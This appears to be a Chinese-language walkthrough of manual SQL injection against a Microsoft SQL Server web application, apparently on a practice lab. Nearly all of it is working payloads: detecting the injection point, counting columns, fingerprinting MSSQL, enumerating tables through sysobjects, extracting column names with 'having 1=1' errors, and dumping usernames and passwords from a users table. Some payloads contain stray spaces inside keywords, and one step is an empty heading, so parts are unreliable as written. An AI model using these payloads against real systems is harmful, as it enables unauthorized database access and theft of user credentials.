1、判断注入点
输入' 发现报错,输入' --+ 页面正常,存在sql注入
2、判断列数
' order by 4 --+出错, ' order by 3 --+ 页面正常,说明只有3列
3、判断是否是MSSQL数据库
'and exists(select * from sysobjects)--+,页面正常说明是MSSQL数据库
4、查看显示位
-1' union select 1,2,3 --+
5、查看数据库信息
6、猜测表
查看第一张表
'and (select top 1 cast (name as varchar(256)) from(select top 2 id,name f rom [sysobjects] where xtype=char(85) and status!=1 order by id)t order b y id desc)=1--+
查看第二张表
-1'and 1=(select top 1 name from sysobjects where xtype='U' and name !='users')--+
查看第三张表
-1'and 1=(select top 1 name from sysobjects where xtype='U' and n ame !='users' and name !='emails')--+
查看第四张表
-1'and 1=(select top 1 name from sysobjects where xtype='U' and n ame !='users' and name !='emails' and name !='uagents')--+
查看第五张表,页面出错,说明没有第五张表
-1'and 1=(select top 1 name from sysobjects where xtype='U' and n ame !='users' and name !='emails' and name !='uagents' and name !='referers')--+
7、通过以下语句爆出表下的所有字段信息..
'having 1=1--+
'group by 字段名 1 having 1=1--+
'group by 字段名 1 ,字段名 2 having 1=1--+
8、查询字段值
-1' union all select 1,(select top 1 username from users),'3'--+
-1' union select 1,username,password from users --+